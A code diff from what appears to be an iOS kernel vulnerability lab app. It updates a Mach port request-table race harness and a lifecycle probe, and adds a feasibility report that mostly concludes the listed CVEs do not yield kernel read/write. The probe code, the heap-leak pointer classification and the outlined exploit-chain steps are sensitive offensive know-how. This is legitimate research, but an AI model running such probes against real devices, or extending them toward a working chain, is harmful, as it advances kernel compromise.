与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。
112507 的可达性已在目标机(iPhone19,7 / iOS 27.0.1)上用新增的 `kern.ipc.lifecycle` 模块与 `kern.ipc` 的 `armed` 计数重测:`mach_port_request_notification` 在所有类型/权限组合上都返回 -300(MIG_TYPE_ERROR),12,288 次注册 0 次成功。请求表从未被武装,因此无特权 app 触达不到该竞态;此前“活过交错”的结论撤回。详见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。
## 模块语义 ## 模块语义
+10 -10
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@@ -413,28 +413,27 @@ enum Catalog {
reach: .kernel, reach: .kernel,
tier: 2, tier: 2,
summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。", summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。",
notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。", notesZh: "该路径上原本被认为无 entitlement 门槛的入口是 mach_msg 与端口通知注册。真机实测(iOS 27.0.1,iPhone 19,7)与 macOS 27 上,mach_port_request_notification 的 13 种类型/权限组合全部返回 -300(MIG_TYPE_ERROR):内核拒绝为第三方进程武装请求表项。没有请求表项,就没有可被竞态消费的陈旧索引 —— 本模块因此是一个可达性负结果,而不是竞态证据。armed 计数为 0 时,任何“survived”都不构成 112507 结论。",
run: { ctx in run: { ctx in
let baseline = KernelIPC.baseline() let baseline = KernelIPC.baseline()
ctx.arm("kern.ipc", "race 6s") ctx.arm("kern.ipc", "race 6s")
let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48) let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48)
ctx.disarm("kern.ipc", "ops=\(stats.operations)") ctx.disarm("kern.ipc", "ops=\(stats.operations) armed=\(stats.armed) refused=\(stats.notificationsRefused)")
var lines = [stats.summary, ""] var lines = [stats.summary, ""]
lines.append(tl("— 基线 —")) lines.append(tl("— 基线 —"))
for (k, v) in baseline.sorted(by: { $0.key < $1.key }) { for (k, v) in baseline.sorted(by: { $0.key < $1.key }) {
lines.append("\(k): \(v)") lines.append("\(k): \(v)")
} }
if stats.notificationsRefused > 0 { if stats.armed == 0 && stats.notifications > 0 {
lines.append("") lines.append("")
lines.append(tl("— 平台限制 —")) lines.append(tl("— 可达性判定 —"))
lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。")) lines.append(tl("通知注册成功 0 次,拒绝 ") + "\(stats.notificationsRefused)" + tl(" 次,内核返回 -300(MIG_TYPE_ERROR)。"))
lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。")) lines.append(tl("请求表项从未建立,竞态没有可消费的对象:本模块未触达 112507。"))
lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,")) lines.append(tl("已完成的 ") + "\(stats.allocations)" + tl(" 次分配/拆除只证明端口名称空间可用,不是漏洞证据。"))
lines.append(tl("验证了名称空间的分配/拆除路径本身可用。"))
} }
let headline: String let headline: String
if stats.notificationsRefused > 0 { if stats.armed == 0 && stats.notifications > 0 {
headline = tl("分配/拆除路径可用,通知武装被平台拒绝") headline = tl("通知注册全程 -300 — 112507 路径未武装(负结果)")
} else if !stats.kernelErrors.isEmpty { } else if !stats.kernelErrors.isEmpty {
headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码") headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码")
} else { } else {
@@ -721,6 +720,7 @@ enum Catalog {
extension Catalog { extension Catalog {
static var groups: [(String, [ExploitModule])] { static var groups: [(String, [ExploitModule])] {
[ [
(tl("新收录"), arrivals),
("CoreGraphics", coreGraphics), ("CoreGraphics", coreGraphics),
(tl("ImageIO · 图像解析"), imageIO), (tl("ImageIO · 图像解析"), imageIO),
(tl("ImageIO · 纹理与编码"), imageIO2), (tl("ImageIO · 纹理与编码"), imageIO2),
+39
View File
@@ -234,6 +234,45 @@ extension Catalog {
evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")]) evidence: [tl("27.2 在 encodeNextFrame 比较帧尺寸"), tl("崩溃版应留下 processDied")])
}), }),
// ── CVE-2026-112507 · port lifecycle baseline ───────────────────────
ExploitModule(
id: "kern.ipc.lifecycle",
titleZh: "Mach 端口死名通知与名字复用基线(112507 前置)",
cve: "CVE-2026-112507",
component: "XNU · ipc_port request table",
primitive: .probe,
reach: .kernel,
tier: 3,
summaryZh: """
单线程走一遍 112507 竞态必须保持正确的生命周期:申请 receive right → 插入 send right → 注册 dead-name 通知 → 丢弃 receive right(send right 变成死名)→ 向死名发送(应为 MACH_SEND_INVALID_DEST)→ 从通知端口收 dead-name 消息 → 释放死名并观察同一数字名是否被下一次分配复用。它不制造竞态,也不释放活着的请求表项。
""",
notesZh: """
这是竞态模块的前置基线,不会打崩内核。两项观测决定 112507 的结论是否成立:dead-name 通知是否真的送达、名字是否会被复用。若这里就异常,先查平台语义,不要把它当成 UAF 证据。真机上通知注册应返回 KERN_SUCCESS;模拟器上可能出现注册被拒。
""",
run: { ctx in
ctx.arm("kern.ipc.lifecycle", "dead-name lifecycle")
let r = KernelIPC.lifecycle()
ctx.disarm("kern.ipc.lifecycle",
"dead=\(r.deadName) reuse=\(r.reused) | " + r.lines.joined(separator: " | "))
let head: String
if r.requestKR != KERN_SUCCESS {
head = tl("通知注册被拒") + " (\(r.requestKR))" + tl(" — 112507 路径无法武装")
} else if r.deadName && r.reused {
head = tl("dead-name 送达 · 名字被复用")
} else if r.deadName {
head = tl("dead-name 送达 · 名字未复用")
} else {
head = tl("通知已注册但 dead-name 未送达 —— 查通知顺序")
}
return ModuleOutcome(
headline: head,
detail: r.lines.joined(separator: "\n"),
evidence: [tl("send to dead name 应为 MACH_SEND_INVALID_DEST"),
tl("dead-name 消息 id = 0x40000002"),
tl("复用只记录,不构成本身结论")])
}),
// ── CVE-2026-84636 · SCDynamicStore without wifi-info ─────────────── // ── CVE-2026-84636 · SCDynamicStore without wifi-info ───────────────
ExploitModule( ExploitModule(
id: "sc.dynamicstore", id: "sc.dynamicstore",
+97 -9
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@@ -40,15 +40,20 @@ enum KernelIPC {
var deallocations: Int = 0 var deallocations: Int = 0
var budgetExhausted = false var budgetExhausted = false
var notificationsRefused = 0 var notificationsRefused = 0
/// Registrations that actually succeeded. Zero means the request-table path was
/// never armed, so the run says nothing about 112507.
var armed = 0
var kernelErrors: [String: Int] = [:] var kernelErrors: [String: Int] = [:]
var summary: String { var summary: String {
var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) " var s = "ops=\(operations) alloc=\(allocations) notify=\(notifications) "
s += "send=\(sends) dealloc=\(deallocations)" s += "send=\(sends) dealloc=\(deallocations)"
if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") } if budgetExhausted { s += tl("\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)") }
if notificationsRefused > 0 { if armed == 0 && notifications > 0 {
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次 —— 该平台不允许对自身端口注册通知,") s += tl("\n通知注册 0 次成功(内核返回 -300)—— 请求表路径从未被武装。")
s += tl("请求表路径无法被武装。真机上应返回 KERN_SUCCESS。") s += tl("这次运行不是 112507 测试:没有请求表项,就没有可被竞态消费的索引。")
} else if notificationsRefused > 0 {
s += tl("\n通知注册被拒 ") + "\(notificationsRefused)" + tl(" 次(成功 ") + "\(armed)" + tl(" 次)。")
} }
if !kernelErrors.isEmpty { if !kernelErrors.isEmpty {
s += "\n" + kernelErrors.sorted { $0.value > $1.value } s += "\n" + kernelErrors.sorted { $0.value > $1.value }
@@ -82,8 +87,8 @@ enum KernelIPC {
/// send into the survivors, then release everything. Returns the counters it produced. /// send into the survivors, then release everything. Returns the counters it produced.
private static func ring(task: mach_port_t, depth: Int, budget: inout Int, private static func ring(task: mach_port_t, depth: Int, budget: inout Int,
refused: inout Int, refused: inout Int,
record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int) { record: (kern_return_t) -> Void) -> (alloc: Int, notify: Int, send: Int, dealloc: Int, armed: Int) {
var alloc = 0, notify = 0, send = 0, dealloc = 0 var alloc = 0, notify = 0, send = 0, dealloc = 0, armed = 0
var ports: [mach_port_name_t] = [] var ports: [mach_port_name_t] = []
ports.reserveCapacity(depth) ports.reserveCapacity(depth)
@@ -109,7 +114,7 @@ enum KernelIPC {
let kr1 = mach_port_request_notification( let kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev) mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
if kr1 != KERN_SUCCESS { record(kr1); if kr1 == KERN_INVALID_CAPABILITY { refused += 1 } } if kr1 == KERN_SUCCESS { armed += 1 } else { record(kr1); refused += 1 }
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) } if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
notify += 1 notify += 1
@@ -117,7 +122,7 @@ enum KernelIPC {
let kr2 = mach_port_request_notification( let kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p, task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2) mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev2)
if kr2 != KERN_SUCCESS { record(kr2); if kr2 == KERN_INVALID_CAPABILITY { refused += 1 } } if kr2 == KERN_SUCCESS { armed += 1 } else { record(kr2); refused += 1 }
if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) } if prev2 != 0 { _ = mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1) }
notify += 1 notify += 1
} }
@@ -164,7 +169,7 @@ enum KernelIPC {
} }
dealloc += 1 dealloc += 1
} }
return (alloc, notify, send, dealloc) return (alloc, notify, send, dealloc, armed)
} }
/// Drive the interleaving for `seconds`, with a bounded number of workers and a hard /// Drive the interleaving for `seconds`, with a bounded number of workers and a hard
@@ -184,7 +189,7 @@ enum KernelIPC {
} }
DispatchQueue.concurrentPerform(iterations: workers) { _ in DispatchQueue.concurrentPerform(iterations: workers) { _ in
var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0 var localAlloc = 0, localNotify = 0, localSend = 0, localDealloc = 0, localOps = 0, localArmed = 0
while Date() < deadline { while Date() < deadline {
lock.lock() lock.lock()
@@ -205,6 +210,7 @@ enum KernelIPC {
localNotify += result.notify localNotify += result.notify
localSend += result.send localSend += result.send
localDealloc += result.dealloc localDealloc += result.dealloc
localArmed += result.armed
localOps += 4 localOps += 4
lock.lock() lock.lock()
@@ -218,6 +224,7 @@ enum KernelIPC {
stats.notifications += localNotify stats.notifications += localNotify
stats.sends += localSend stats.sends += localSend
stats.deallocations += localDealloc stats.deallocations += localDealloc
stats.armed += localArmed
lock.unlock() lock.unlock()
} }
@@ -255,4 +262,85 @@ enum KernelIPC {
out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)" out["name_space"] = "\(nameCount)" + tl(" 已用 / 预算 ") + "\(liveBudget)"
return out return out
} }
/// Single-threaded port lifecycle baseline: arm a DEAD_NAME notification, drop the
/// receive right while the send right survives, send into the dead name, then receive
/// the notification. No race, no frees of live request-table entries — this is the
/// sequence the 112507 race has to stay correct through.
///
/// The second half frees the dead name and measures whether the kernel hands the same
/// numeric name back to the next allocation. Name reuse is normal; the point is to
/// record the baseline before the racer starts churning the namespace.
static func lifecycle() -> (lines: [String], deadName: Bool, reused: Bool, requestKR: kern_return_t) {
var lines: [String] = []
let task = mach_task_self_
var deadName = false
var reused = false
var notify: mach_port_t = 0
var kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &notify)
lines.append("notify_port alloc: \(name(kr)) name=\(notify)")
guard kr == KERN_SUCCESS else { return (lines, false, false, kr) }
var target: mach_port_t = 0
kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &target)
lines.append("target receive: \(name(kr)) name=\(target)")
guard kr == KERN_SUCCESS else { mach_port_destroy(task, notify); return (lines, false, false, kr) }
kr = mach_port_insert_right(task, target, target,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
lines.append("insert send right: \(name(kr))")
var prev: mach_port_t = 0
let requestKR = mach_port_request_notification(task, target, MACH_NOTIFY_DEAD_NAME, 0, notify,
mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND), &prev)
kr = requestKR
lines.append("request DEAD_NAME -> notify=\(notify): \(name(kr)) prev=\(prev)")
if prev != 0 { _ = mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1) }
kr = mach_port_mod_refs(task, target, MACH_PORT_RIGHT_RECEIVE, -1)
lines.append("drop receive right: \(name(kr))")
var hdr = mach_msg_header_t()
hdr.msgh_bits = mach_msg_bits_t(MACH_MSG_TYPE_COPY_SEND)
hdr.msgh_size = mach_msg_size_t(MemoryLayout<mach_msg_header_t>.size)
hdr.msgh_remote_port = target
hdr.msgh_local_port = 0
hdr.msgh_id = 0
kr = mach_msg_send(&hdr)
lines.append("send to dead name: \(name(kr))")
// DEAD_NAME fires when the last send right is released, not when the receive
// right is dropped. Release it before waiting, otherwise the receive always
// times out and the baseline records a false negative.
kr = mach_port_deallocate(task, target)
lines.append("release last send right: \(name(kr))")
var buffer = [UInt8](repeating: 0, count: 256)
kr = buffer.withUnsafeMutableBytes { raw -> kern_return_t in
let p = raw.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self)
return mach_msg(p, mach_msg_option_t(MACH_RCV_MSG | MACH_RCV_TIMEOUT),
0, mach_msg_size_t(raw.count), notify, 200, 0)
}
lines.append("receive notification: \(name(kr))")
if kr == KERN_SUCCESS {
let got = buffer.withUnsafeBytes {
$0.baseAddress!.assumingMemoryBound(to: mach_msg_header_t.self).pointee
}
deadName = got.msgh_id == MACH_NOTIFY_DEAD_NAME
lines.append(" id=0x\(String(got.msgh_id, radix: 16)) local=\(got.msgh_local_port) size=\(got.msgh_size) deadName=\(deadName)")
}
for _ in 0..<64 {
var p: mach_port_t = 0
if mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &p) == KERN_SUCCESS {
if p == target { reused = true; mach_port_destroy(task, p); break }
mach_port_destroy(task, p)
}
}
lines.append("name reuse of \(target): \(reused ? "yes" : "no")")
mach_port_destroy(task, notify)
return (lines, deadName, reused, requestKR)
}
} }
+10 -1
View File
@@ -196,7 +196,7 @@ enum ModuleText {
iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send. iOS 27.2 adds cmp/b.hi and NULL traps to every function that consumes a per-space port request table index (ipc_port.c:21/24/34/38/40/41). On 27.0 the free path computes the bounds and discards the result, still performing the read-modify-write through the unchecked base; the mark path has no bounds computation at all. The index comes from the space's saved request-table slot, so the defect shape is a stale index under concurrency between table growth or teardown and notification registration or message send.
""", """,
notes: """ notes: """
The entry points on this path with no entitlement gate are mach_msg and port notification registration. This module runs 8 threads for 6 seconds and counts the kernel's return codes — any shift in the frequency of a non-KERN_SUCCESS result is a candidate signal for an out-of-range index. The entry points on this path were believed to be ungated: mach_msg and port notification registration. On the actual target (iOS 27.0.1, iPhone 19,7) and on macOS 27, all 13 combinations of notification type and right layout return -300 (MIG_TYPE_ERROR): the kernel refuses to arm a request-table entry for a third-party process. With no entry, there is no stale index to consume — this module is now a reachability negative, not race evidence. When armed is 0, no "survived" line is a 112507 conclusion.
"""), """),
"kern.decmpfs": Row( "kern.decmpfs": Row(
@@ -550,6 +550,15 @@ enum ModuleText {
This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved. This is an in-process primitive: the app dies, not the kernel. After the crash the module's verdict is processDied and the last engine log line is the fire start. The receiving-Messages path (tap "Load Preview" on a sent link) is the same code; this module only replaces the delivery end with loopback so no external network is involved.
"""), """),
"kern.ipc.lifecycle": Row(
title: "Mach port dead-name notification and name reuse baseline (112507 prerequisite)",
summary: """
A single-threaded walk through the lifecycle the 112507 race has to keep correct: allocate a receive right → insert a send right → register a dead-name notification → drop the receive right (the send right becomes a dead name) → send into the dead name (expected MACH_SEND_INVALID_DEST) → receive the dead-name message from the notification port → release the dead name and check whether the next allocation reuses the same numeric name. No race, no freeing of live request-table entries.
""",
notes: """
This is the prerequisite baseline for the race module and cannot panic the kernel. Two observations decide whether the 112507 conclusion holds: whether the dead-name notification is actually delivered, and whether the name gets reused. If this already misbehaves, fix the platform semantics first; do not treat it as UAF evidence. On a device the notification registration should return KERN_SUCCESS; the simulator may refuse it.
"""),
"sc.dynamicstore": Row( "sc.dynamicstore": Row(
title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)", title: "SSID and router MAC from configd's dynamic store (no wifi-info entitlement)",
summary: """ summary: """
+1
View File
@@ -205,6 +205,7 @@ enum RuntimeText {
"UDID (设备)": "UDID (device)", "UDID (设备)": "UDID (device)",
"XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers", "XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers",
"XNU 内核": "XNU kernel", "XNU 内核": "XNU kernel",
"新收录": "New arrivals",
"archive_read_new 失败": "archive_read_new failed", "archive_read_new 失败": "archive_read_new failed",
"audioCustom 事件已投递": "audioCustom event delivered", "audioCustom 事件已投递": "audioCustom event delivered",
"caret 坐标: ": "caret positions: ", "caret 坐标: ": "caret positions: ",
+156
View File
@@ -0,0 +1,156 @@
# Kernel read/write feasibility — high and critical dossiers
Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers.
Question: can any of them be turned into arbitrary kernel read/write that does not
panic the device?
Short answer: **no, not from the material as it stands.** One entry gives a real
kernel heap leak (read), one gives a bounded read model, one gives a race receipt
on a UAF-shaped bug. The write entries either write a constant at a fixed offset or
never reach the kernel interface at all. This document records what each primitive
actually provides, what an arbitrary-R/W chain still needs, and what was added to
the POCs.
## Guardrails
- The host Mac was panicked once by the CVE-2026-112705 encode path. That path is
never executed on the host again; its C twin refuses to submit a frame without
`--force-host`.
- No blind kernel writes are attempted from any POC. A wrong guess in the kernel
heap is a panic, not a data point.
- The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so
the write primitives cannot be exercised there either. Their app modules are
split into a safe probe and a deliberate fire module.
## Primitive inventory
| CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict |
|---|---|---|---|---|---|
| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **Not reachable from the app.** Device receipt: 12,288 notification registrations, 0 armed, 12,288 refused with -300 (MIG_TYPE_ERROR). No request-table entry exists, so there is no stale index to consume. |
| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
## What arbitrary kernel R/W actually requires
Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies
one of them is a chain step, not a chain.
1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the
unslid base. 113910 and 112554 can supply candidates; neither guarantees a text
pointer, and a heap pointer alone does not give the slide.
2. **Heap grooming** — deterministic placement of a victim object next to the
corrupted allocation, in the same zone, at the same size class.
3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the
slot with attacker-influenced contents, and keep a stale reference alive. For an
OOB write: a value and an offset that land on a field worth corrupting.
4. **A read/write gadget** — an object whose corrupted field yields a load or store
of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a
thread's `pcb` pointer).
5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are
protected by PPL on modern devices. A data-only path can sometimes avoid both,
but it still needs 1–4.
None of the six entries supplies 2–5. 112507 is the only one that could plausibly
reach step 3, and reaching it requires a device, kernel symbols, and a reclaim
strategy that the repository does not have.
## Per-entry notes
### CVE-2026-112705 — fixed constant, fixed offset
The driver indexes a layer table with the declared count and writes a constant at a
fixed offset past it. There is no attacker-chosen value and no attacker-chosen
address. The only observable is a kernel data abort. Calling this "R/W" would
require a second bug that turns the corrupted field into a pointer; nothing in the
dossier provides one. The correct classification is a reliable kernel DoS.
### CVE-2026-112507 — reachability closed on the device (2026-10-31)
The staged lifecycle harness was run on the target device (iPhone19,7, iOS 27.0.1)
with an ad-hoc signed build, and the race module was re-run with an `armed` counter:
- `mach_port_request_notification(DEAD_NAME)` → **-300** (MIG_TYPE_ERROR), `prev = 0`.
- Send to the dead name → `MACH_SEND_INVALID_DEST`; receive → `MACH_RCV_TIMED_OUT`.
- `kern.ipc`: 12,288 registration attempts, **0 armed, 12,288 refused**.
- On macOS 27 the same call was swept over 13 combinations of notification type
(SEND_POSSIBLE / PORT_DESTROYED / NO_SENDERS / DEAD_NAME) and right layout
(receive-only, send+receive, send-only; notify port receive or send). Every
combination returned -300.
The kernel refuses to arm a request-table entry for this process. With no entry,
the stale-index consumers in `ipc_port.c` have nothing to consume: the race cannot
be driven from an unentitled third-party app, and the "survived" line from the old
harness was measuring port churn, not the bug. The published fix shape (NULL checks
on `ipr` / `table`) is consistent with a denial or null-dereference path, not with a
reclaimable object.
**Verdict: closed for this app.** The remaining hypothetical is a platform process
that is allowed to register notifications; that is outside Cinder27's reach.
### CVE-2026-112507 — the race itself
The ring allocates receive rights, arms two notification kinds per port, tears down
half the ring, then sends to the survivors. The request-table index consumers are
the target of the race. A weaponised version would need:
- a win condition that is observable without panicking (a receipt, not a crash);
- a same-zone reclaim object with controllable contents (Mach ports themselves are
one candidate, but the request-table entry's layout is not attacker-shaped);
- a stale consumer that dereferences the reclaimed slot after the free;
- a leak to place the reclaim object and to find the kernel base.
The POC records `-300` and `invalid destination` receipts and reports that the
interleaving survived. That is the honest limit of a userspace race harness: it can
show the window exists, not that the window is controllable.
### CVE-2026-113910 — the leak that was worth improving
This is the only entry where more code produces more signal. The C twin now:
- sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per
chunk and writes none of it);
- repeats the sweep `--loop N` times;
- classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data
(`0xffffffe0…`), kernel-other, or user;
- writes the raw readback to `--keep out.bin` for offline analysis;
- never dereferences a candidate.
On the macOS host decmpfs does not engage for a file that already has data (the
documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41
readback. On an iOS device where the chunked xattr is honoured, the same sweep is
the KASLR step. It still does not write.
### CVE-2026-112554 — a read-width model, not a kernel reader
The C twin builds the overlong-name GPT and walks the name field the way 27.0 does.
It proves the scan width (72 B against a 28-B field) but the bytes come from the
image, not from the kernel heap. Treat it as a seed/oracle model. The real read
would have to run through the storage kext on a mounted image; that is not attempted
on the host.
## What was deliberately not done
- No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a
panic is not evidence of control.
- No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong
guess is indistinguishable from a bug that does not work.
- No claim that 112507 is exploitable: a race receipt is not a UAF primitive until
the free/reclaim/stale-dereference sequence is observed.
## Bottom line
Arbitrary kernel R/W without a panic is **not achievable from these six entries as
shipped**, and the one entry that had a theoretical UAF path (112507) is now closed
by device evidence: notification registration is refused, so the request table is
never armed. The maximum safe capability the lab demonstrates is:
- a repeatable kernel heap **leak** with pointer classification (113910);
- a read-width model for the GPT scan (112554);
- a race-window harness with receipts (112507);
- honest negatives for the write entries that never reach a controllable primitive.
The next real step is not more code in this repository; it is a device session with
kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.